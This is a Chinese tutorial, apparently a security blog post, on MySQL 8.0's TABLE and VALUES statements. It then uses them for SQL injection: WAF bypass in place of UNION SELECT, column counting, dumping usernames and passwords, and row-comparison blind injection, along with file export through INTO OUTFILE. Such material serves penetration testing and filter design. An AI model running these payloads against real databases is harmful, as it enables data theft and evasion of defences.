MySQL 8.0环境搭建
由于本地配的mysql版本通常为mysql5.7 ,如果想换到mysql8.0 会有不小的麻烦(别问我是怎么知道的),这里直接使用MxSrvs中集成的mysql8.0.19,注意这里用到的新特性是在mysql8.0.19版本之后才有的。
MySQL 8.0新特性
information_schema.TABLESPACES_EXTENSIONS表
从mysql8.0.21开始出现的,
table
关键字出现的比较早,在8.0.19之后就有了,所以如果想要使用,还是先要试试这个表有没有,如果 mysql 版本正好在 8.0.19-8.0.21 之间的话,就无法使用了
这个表好用就好用在,它直接存储了数据库和数据表
mysql> TABLE information_schema.TABLESPACES_EXTENSIONS;
+------------------+------------------+
| TABLESPACE_NAME | ENGINE_ATTRIBUTE |
+------------------+------------------+
| mysql | NULL |
| innodb_system | NULL |
| innodb_temporary | NULL |
| innodb_undo_001 | NULL |
| innodb_undo_002 | NULL |
| sys/sys_config | NULL |
| test/users | NULL |
+------------------+------------------+
7 rows in set (0.02 sec)
TABLE语句
TABLE
是MySQL 8.0.19中引入的DML语句,它返回命名表的行和列。
用法:
TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]
TABLE与SELECT
TABLE
语句在某些方面的行为类似于SELECT
。给定存在一个表 t,以下两个语句将产生相同的输出:
TABLE t;
SELECT * FROM t;
TABLE和SELECT关键区别:
TABLE
始终显示表的所有列;TABLE
不允许对行进行任意过滤,也就是说,TABLE
不支持任何WHERE
子句;
可以通过ORDER BY
和LIMIT
这两各关键字实现限制返回的表列来获取指定的行。
UNION联合查询替换
TABLE
可以替换UNION SELECT
结构,也可以和SELECT
交叉使用,注意两个table的列数必须相同:
TABLE users UNION TABLE mail;
SELECT * FROM users UNION SELECT * FROM mail;
SELECT * FROM users UNION TABLE mail;
TABLE users UNION SELECT * FROM mail;
SELECT xxx INTO OUTFILE替换
可以使用TABLE
替换SELECT xx INTO OUTFILE
的SELECT
:
TABLE users INTO OUTFILE '/tmp/test';
SELECT * FROM users INTO OUTFILE '/tmp/test';
注意,在使用INTO OUTFILE
语句的时候,MySQL会报错:
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
此时,输入如下sql查询语句:
mysql> show global variables like '%secure_file_priv%';
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_file_priv | NULL |
+------------------+-------+
1 row in set (0.02 sec)
看到secure_file_priv
的值为NULL,表示限制不能导入导出。
secure_file_priv参数用于限制LOAD DATA
、SELECT xx INTO OUTFILE
、LOAD_FILE()
等:
NULL
:表示限制mysqld不允许导入或导出;/tmp
:表示限制mysqld只能在/tmp
目录中执行导入导出,其他目录不能执行;- 没有值:表示不限制mysqld在任意目录的导入导出;
又因为secure_file_priv
参数是只读参数,不能使用set global
命令修改。
正确的解决办法是在my.ini中添加如下配置,然后重启MySQL即可:
secure_file_priv=''
现在就没问题了:
SELECT xx INTO DUMPFILE替换
和前面OUTFILE
是类似的,关键区别在于:
OUTFILE
导出全部数据,DUMPFILE
只能导出一行数据;OUTFILE
在将数据写到文件里时有特殊的格式转换,而DUMPFILE
则保持原数据格式;
因此,在使用DUMPFILE
时需要结合LIMIT
选定指定行:
TABLE users LIMIT 1 INTO DUMPFILE '/tmp/test2';
子查询替换
当子查询的表只有单列时,可以使用TABLE
语句来替换SELECT
进行子查询:
SELECT * FROM users WHERE username IN (TABLE vips);
SELECT * FROM users WHERE username IN (SELECT * FROM vips);
SELECT * FROM users WHERE username IN (SELECT name FROM vips);
VALUES语句
用法简介
VALUES
是MySQL 8.0.19中引入的DML语句,该语句返回一组一个或多个行作为表。换句话说,它是一个表值构造函数,还可以充当独立的SQL语句。
用法:
VALUES row_constructor_list [ORDER BY column_designator] [LIMIT number]
row_constructor_list:
ROW(value_list)[, ROW(value_list)][, ...]
value_list:
value[, value][, ...]
column_designator:
column_index
该语句由VALUES
关键字组成,后跟一个或多个行构造函数的列表,以逗号分隔。行构造函数由ROW()
行构造子句组成,该子句的值列表包含在括号中的一个或多个标量值。值可以是任何MySQL数据类型的文字,也可以是解析为标量值的表达式。
ROW()
不能为空(但提供的每个标量值可以为NULL),并且在同一条VALUES
语句中的每个语句的列的数量必须相同。
简单地说,VALUES
语句可以用来构造表:
mysql> VALUES ROW("q", 42, '2020-02-01'), ROW(23, "abc", 98.6), ROW(27.0002, "Mary Smith", '{"a": 10, "b": 25}') ORDER BY column_1 LIMIT 2;
+----------+----------+------------+
| column_0 | column_1 | column_2 |
+----------+----------+------------+
| q | 42 | 2020-02-01 |
| 23 | abc | 98.6 |
+----------+----------+------------+
2 rows in set (0.00 sec)
从输出表的列中看到,其中有隐含命名的列column_0
、column_1
、 column_2
等等,索引从0开始,可使用ORDER BY
和LIMIT
进行排序和输出指定行。其中的列可以是混合类型。
UNION联合查询替换
根据VALUES
语句构造表的特性,可以和UNION
联合查询中的SELECT
语句进行交叉替换使用:
SELECT * FROM users UNION VALUES 1,2,3;
SELECT * FROM users UNION VALUES ROW(1,2,3);
SELECT * FROM users UNION VALUES ROW(1,2,3), ROW(4,5,6);
VALUES ROW('a','b','c') UNION SELECT * from users;
VALUES ROW('a','b','c') UNION VALUES ROW(1,2,3); // 可完全省略不用select
在SQL注入中的利用
由前面知道,TABLE
和VALUES
这两个语句可用于替换UNION
联合查询中的SELECT
进行查询,因此这部分新特性主要针对SELECT
部分的过滤进行绕过利用。
VALUES ROW() 替换ORDER BY推测列数
推测列数无需ORDER BY
,直接用VALUES
语句即可:
SELECT * FROM users WHERE id=1 UNION VALUES ROW(1,2); // 报错
SELECT * FROM users WHERE id=1 UNION VALUES ROW(1,2,3); // 正常
UNION VALUES联合查询
应用UNION VALUES
语句就能直接调用数据库内置函数查询对应的信息:
SELECT * FROM users WHERE id=1 UNION VALUES ROW(1,user(),version());
可以结合CONCAT
系列函数进行利用:
SELECT * FROM users WHERE id=1 UNION VALUES ROW(1,null,CONCAT_WS(CHAR(32,58,32),user(),database(),version()));
如果WAF仅仅是过滤UNION SELECT
关键字,并没有对UNION VALUES
后面添加SELECT
进行过滤,那么可以像正常一样利用SELECT
结合CONCAT
做子查询来dump库:
SELECT * FROM users WHERE id=1 UNION VALUES ROW(1,null,(SELECT GROUP_CONCAT(CONCAT_WS(CHAR(58),id,username,password)) FROM users));
当然,也可以组合TABLE
语句进行查询,注意此时TABLE
语句指定的表必须是只有一列且限制只能输出一行:
SELECT * FROM users WHERE id=1 UNION VALUES ROW(1,null,(TABLE vips LIMIT 0,1));
UNION TABLE联合查询
使用UNION TABLE
的时候,注意两个表的列数必须相同:
SELECT * FROM users WHERE id=1 UNION TABLE mail;
盲注
利用小于号会逐个比较一行中每一列值的大小来进行盲注,当然,除了小于号、其他比较符可自行构造,如下:
SELECT * FROM users WHERE id=1 OR (1,'a','') < (TABLE users LIMIT 1);
SELECT * FROM users WHERE id=1 OR (1,'b','') < (TABLE users LIMIT 1);
SELECT * FROM users WHERE id=1 OR (1,'admin','pass123') < (TABLE users LIMIT 1);
SELECT * FROM users WHERE id=1 OR (1,'admin','pass123') = (TABLE users LIMIT 1);
符号比较问题
先看如下这种情况,使用小于号 <
比较进行盲注。第一列第二个字段的值是 john
,当比较第一个字符时,j
字符已经是正确的字符,但是输出的结果需要是下一个字符k
才会出现变化,这是因为当前字符相等的情况下会判断下一个字符,所以比较的结果仍然是前者小于后者。所以,需要将比较得到的结果的 ascii编码-1 再转换成字符才可以。
mysql> TABLE users LIMIT 1,1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 2 | john | john456 |
+----+----------+----------+
1 row in set (0.00 sec)
mysql> SELECT ((2,'j','') < (TABLE users LIMIT 1,1));
+----------------------------------------+
| ((2,'j','') < (TABLE users LIMIT 1,1)) |
+----------------------------------------+
| 1 |
+----------------------------------------+
1 row in set (0.00 sec)
mysql> SELECT ((2,'k','') < (TABLE users LIMIT 1,1));
+----------------------------------------+
| ((2,'k','') < (TABLE users LIMIT 1,1)) |
+----------------------------------------+
| 0 |
+----------------------------------------+
1 row in set (0.00 sec)
当然,反过来注入,从大的 ascii 编码往下注入到小的就没有这个问题了,例如下方的字符表(去掉了一些几乎不会在mysql创建表中出现的字符)
~}|{zyxwvutsrqponmlkjihgfedcba`_^][ZYXWVUTSRQPONMLKJIHGFEDCBA@ ?> =<;:9876543210/-,+*)(&%$ #!
字符转换与大小写问题
COLLATE
属性用于指定列的排序和比较方式,我们在使用ORDER BY
、DISTINCT
、GROUP BY
等命令时都会涉及到该属性。另外我们在对表建索引时,如果索引列是字符类型,那么COLLATE
属性也会影响到索引的创建。
COLLATE
通常是和字符编码CHARSET
相关的,每种CHARSET
都对应了多种它所支持的COLLATE
,并且会指定一个默认COLLATE
。比如utf8mb4
编码的默认COLLATE为utf8mb4_general_ci
。
MySQL 8+版本中,默认的CHARSET直接改成了utf8mb4
,对应的默认COLLATE
也改成了utf8mb4_0900_ai_ci
,这是unicode
的一个细分,就相当于utf8mb4_unicode_ci
。这里的 ci
后缀是Case Insensitive
的缩写,表示大小写无关。对应的_cs
后缀表示大小写敏感。
因此比较的时候需要使用COLLATE
指定utf8mb4_bin
编码来区分大小写:
mysql> SELECT ('a') = ('A');
+---------------+
| ('a') = ('A') |
+---------------+
| 1 |
+---------------+
1 row in set (0.00 sec)
mysql> SELECT ('a') = ('A') COLLATE utf8mb4_bin;
+-----------------------------------+
| ('a') = ('A') COLLATE utf8mb4_bin |
+-----------------------------------+
| 0 |
+-----------------------------------+
1 row in set (0.00 sec)